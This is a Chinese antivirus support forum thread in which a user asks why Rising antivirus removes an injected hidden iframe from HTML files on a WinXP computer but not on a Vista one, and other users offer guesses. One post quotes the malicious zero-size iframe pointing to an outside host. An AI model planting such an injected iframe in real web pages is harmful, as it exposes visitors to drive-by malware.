瑞星卡卡安全论坛个人产品讨论区瑞星杀毒软件瑞星杀毒软件2011 同一瑞星在不同电脑上对同样被挂马的HTML文件的杀毒结果不一样

12   1  /  2  页   跳转

[求助] 同一瑞星在不同电脑上对同样被挂马的HTML文件的杀毒结果不一样

同一瑞星在不同电脑上对同样被挂马的HTML文件的杀毒结果不一样

瑞星2010版,已升级到最新版,分别在两台电脑上安装(不同序列号),一台是Vista(正版,笔记本自带),一台是WinXP,检查了瑞星的设置,对照看都一样,皆为管理员登录、专业模式、手动查杀设置的最高级。
有个目录下的html文件多个,HTML代码里都被加了iframe挂马,在Vista那台机器上手工查杀没有病毒,在WinXP那台电脑上检测出未知病毒并去掉了iframe里的挂马网站地址。
为啥Vista那边查不出来“病毒”呢?
-----------------------------
补充说明,是同样的、确认有挂马的iframe的HTML文件,分别拷在Vista和XP下。



用户系统信息:Mozilla/5.0 (Windows; U; Windows NT 6.0; zh-CN; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)
最后编辑不能飚车 最后编辑于 2009-12-23 12:40:42
分享到:
gototop
 

回复:同一瑞星在不同电脑上杀毒结果不一样

<IFRAME SRC="http://rrr.rfhwfhw.com/1.htm" WIDTH=0 HEIGHT=0></IFRAME>
------------------------------
挂马HTML如上,WinXP上的瑞星将其报为病毒并去掉了其中的地址,改为
<IFRAME  WIDTH=0 HEIGHT=0></IFRAME>
而Vista上的瑞星视而不见,认为没“病毒”。
gototop
 

回复:同一瑞星在不同电脑上杀毒结果不一样

这跟设置没关系, vista那电脑没毒。
杀毒是检测文件内容的特征码,xp下被挂马了,vista下没被挂马。
gototop
 

回复:同一瑞星在不同电脑上杀毒结果不一样

应该是由于操作系统的原因照成的,XP是32位的,VISTA是64位的。
gototop
 

回复:同一瑞星在不同电脑上杀毒结果不一样

3楼说的应该是对的。
gototop
 

回复 3F 德拉克拉·零 的帖子

这跟设置没关系, vista那电脑没毒。
杀毒是检测文件内容的特征码,xp下被挂马了,vista下没被挂马。
-------------------
同样的被挂马的文件,不是“xp下被挂马了,vista下没被挂马”
gototop
 

回复 4F jks_风 的帖子

应该是由于操作系统的原因照成的,XP是32位的,VISTA是64位的。
------------
我这个vista也是32位的
gototop
 

回复:同一瑞星在不同电脑上杀毒结果不一样

杀毒是检测文件内容的特征码,xp下被挂马了,vista下没被挂马。
-------------------
gototop
 

回复:同一瑞星在不同电脑上杀毒结果不一样

不知是特征码吧,还有内存查杀的,这就奇怪了?

oh,HTML文件。。。汗,你试试打开下不就知道了么。。。

我无语。。。
gototop
 

回复 6F 不能飚车 的帖子

lz是如何判断vista哪台电脑是否中毒,如确认vista电脑和xp电脑都中毒,请查看vista电脑上的html文件是否和xp电脑上的一样,被写入恶意链接地址。
gototop
 
12   1  /  2  页   跳转
页面顶部
Powered by Discuz!NT